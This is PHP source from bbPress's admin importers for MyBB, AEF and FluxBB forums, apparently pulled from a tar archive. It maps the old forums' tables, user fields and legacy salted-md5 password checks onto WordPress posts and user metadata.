			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'MyBB'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'website',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'regdate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'usertitle',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_mybb_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_mybb_user_yim'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_mybb_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_mybb_user_msn'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'signature',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_mybb_user_sig',
			'callback_method' => 'callback_html'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the post status from MyBB v1.6.10 numerics to WordPress's strings.
	 *
	 * @param int $status MyBB v1.6.10 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from MyBB v1.6.10 numerics to WordPress's strings.
	 *
	 * @param int $status MyBB v1.6.10 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // MyBB Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // MyBB Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count MyBB v1.6.10 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/AEF.php000066600000044262151771460310012761 0ustar00<?php

/**
 * bbPress AEF Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of AEF Forum converter.
 *
 * @since 2.5.0 bbPress (r5139)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/aef
 */
class AEF extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'fid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'par_board_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'ntopic',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'nposts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'ntopic',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'nposts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'fname',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'fname',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Unlocked = 1 or Locked = 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'status',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'tid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'n_posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'n_posts',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 't_bid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: We join the 'posts' table because 'topics' table does not include author id.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'posts' table because 'topics' table does not include author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'topics' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'topic',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'topic',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 't_bid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 't_sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		// Note: We join the 'posts' table because 'topics' table does not include topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.pid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open = 1 or Closed = 0, AEF v1.0.9)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 't_status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * AEF v1.0.9 Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'pid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_fid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_tid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'poster_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'post_tid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ptime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'salt',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'users',
			'to_fieldname' => '_bbp_class',
			'default'      => 'AEF'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'www',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'r_time',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'yim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_yim'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_msn'
		);

		// Store Gmail (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'gmail',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_gmail'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'sig',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_location'
		);

		// Store PrivateText (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'users_text',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_aef_user_private_text'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum status from AEF v1.0.9 numerics to WordPress's strings.
	 *
	 * @param int $status AEF v1.0.9 numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1 :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from AEF v1.0.9 numerics to WordPress's strings.
	 *
	 * @param int $status AEF v1.0.9 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from AEF 1.x numerics to WordPress's strings.
	 *
	 * @param int $status AEF 1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // AEF Sticky 't_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // AEF normal topic 't_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count AEF v1.0.9 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/FluxBB.php000066600000044421151771460310013505 0ustar00<?php

/**
 * bbPress FluxBB Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of FluxBB Forum converter.
 *
 * @since 2.5.0 bbPress (r5138)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/fluxbb
 */
class FluxBB extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'forum_name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'forum_desc',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'disp_position',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions',
			'from_fieldname'  => 'user_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: We join the 'posts' table because 'topics' table does include numeric user id.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_id',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'posts' table because 'topics' table does not include author IP addresses.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'topics' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'topics',
			'join_type'       => 'INNER',
			'join_expression' => 'ON topics.first_post_id = posts.id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'posted',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open = 0 or Closed = 1, FluxBB v1.5.3)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * FluxBB v1.5.3 Forums do not support topic tags out of the box
		 */

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topic_subscriptions',
			'from_fieldname'  => 'topic_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

